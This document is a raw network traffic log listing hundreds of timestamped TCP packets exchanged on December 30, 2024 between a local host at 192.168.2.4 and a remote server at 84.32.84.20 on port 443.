Dec 30, 2024 21:42:46.320377111 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.320395947 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.320496082 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.320503950 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.320662022 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.322649002 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.322663069 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.322726011 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.322731972 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.322771072 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.322952986 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.322967052 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.323018074 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.323024035 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.323065996 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.323295116 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.323309898 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.323367119 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.323373079 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.323414087 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.323617935 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.323633909 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.323709011 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.323718071 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.323771954 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.323893070 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.323908091 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.323971033 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.323976994 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.324032068 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.324307919 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.324323893 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.324357986 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.324367046 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.324393034 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.324410915 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.324645042 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.324659109 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.324709892 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.324716091 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.324753046 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.327279091 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.409281015 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.409305096 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.409486055 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.409497023 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.411212921 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.411596060 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.411612988 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.411672115 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.411678076 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.411917925 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.411940098 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.411973000 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.411978960 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.412002087 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.412025928 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.412300110 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.412314892 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.412379026 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.412384987 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.412558079 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.412575960 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.412609100 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.412616014 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.412642956 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.412668943 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.412905931 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.412921906 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.412971020 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.412976980 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.413197994 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.413217068 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.413249016 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.413258076 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.413284063 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.413309097 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.413583994 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.413599968 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.413687944 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.413693905 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.413712025 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.415204048 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.415901899 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.498143911 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.498162031 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.498473883 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.498481989 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.499217033 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.500467062 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.500483990 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.500562906 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.500570059 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.500761986 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.500782013 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.500819921 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.500825882 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.500848055 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.500875950 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.501174927 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.501189947 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.501249075 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.501256943 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.501379013 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.501398087 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.501455069 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.501461029 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.501763105 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.501838923 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.501852036 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.501893044 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.501899958 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.501948118 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.501964092 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.502121925 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.502136946 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.502182961 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.502188921 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.502347946 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.502365112 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.502397060 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.502403975 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.502417088 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.502444983 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.504782915 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.587039948 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.587065935 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.587105989 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.587112904 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.587138891 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.587162971 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.589452982 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.589483023 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.589519024 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.589524031 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.589548111 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.589567900 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.589859962 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.589876890 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.589925051 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.589931011 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.590008974 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.590157032 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.590174913 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.590208054 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.590214014 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.590241909 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.590248108 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.590480089 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.590496063 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.590528011 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.590533018 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.590555906 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.590569019 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.590775013 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.590795040 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.590825081 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.590830088 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.590845108 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.590867996 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.591054916 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.591072083 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.591103077 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.591108084 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.591120958 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.591140985 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.591407061 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.591424942 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.591455936 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.591461897 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.591484070 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.591492891 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.593460083 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.675973892 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.676004887 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.676050901 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.676058054 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.676076889 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.676096916 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.678359032 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.678380013 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.678414106 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.678419113 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.678457022 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.678469896 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.678632975 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.678652048 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.678687096 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.678692102 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.678723097 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.678740978 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.678983927 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.679003954 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.679035902 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.679040909 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.679059982 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.679128885 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.679331064 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.679352045 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.679393053 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.679398060 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.679429054 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.679446936 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.679577112 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.679594040 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.679640055 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.679645061 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.679944038 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.679968119 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.679995060 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.680000067 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.680018902 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.680044889 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.680295944 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.680315018 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.680358887 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.680365086 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.680562019 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.688227892 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.764750957 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.764771938 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.764843941 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.764867067 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.764930010 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.767113924 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.767132998 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.767167091 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.767174006 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.767184973 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.767210007 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.767437935 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.767453909 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.767498016 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.767503977 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.767527103 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.767543077 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.767806053 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.767824888 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.767855883 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.767862082 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.767884970 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.767903090 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.768109083 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.768130064 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.768157005 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.768162966 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.768189907 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.768205881 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.768383980 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.768402100 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.768434048 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.768439054 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.768464088 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.768477917 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.768688917 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.768708944 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.768757105 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.768762112 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.769038916 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.769062042 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.769084930 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.769095898 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.769104958 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.769133091 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.777916908 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.853660107 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.853682995 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.853733063 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.853740931 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.853769064 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.853786945 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.856024027 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.856044054 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.856086016 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.856091022 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.856122017 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.856136084 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.856357098 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.856390953 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.856415033 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.856420040 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.856442928 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.856456041 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.856774092 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.856791019 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.856832981 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.856837988 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.856864929 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.856883049 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.857012033 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.857027054 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.857095003 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.857100010 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.857151985 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.857381105 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.857397079 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.857435942 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.857443094 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.857479095 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.857737064 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.857754946 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.857800961 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.857809067 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.857842922 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.857988119 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.858006001 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.858037949 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.858043909 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.858058929 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.858078957 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.860644102 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.942631006 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.942656040 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.942805052 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.942805052 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.942815065 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.942859888 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.944960117 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.944982052 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.945018053 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.945024967 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.945053101 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.945070982 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.945235014 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.945254087 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.945286989 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.945301056 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.945314884 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.945331097 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.945585012 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.945604086 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.945660114 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.945667028 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.945880890 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.945909977 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.945934057 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.945940018 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.945950985 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.945976973 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.946191072 CET	443	49744	84.32.84.20	192.168.2.4
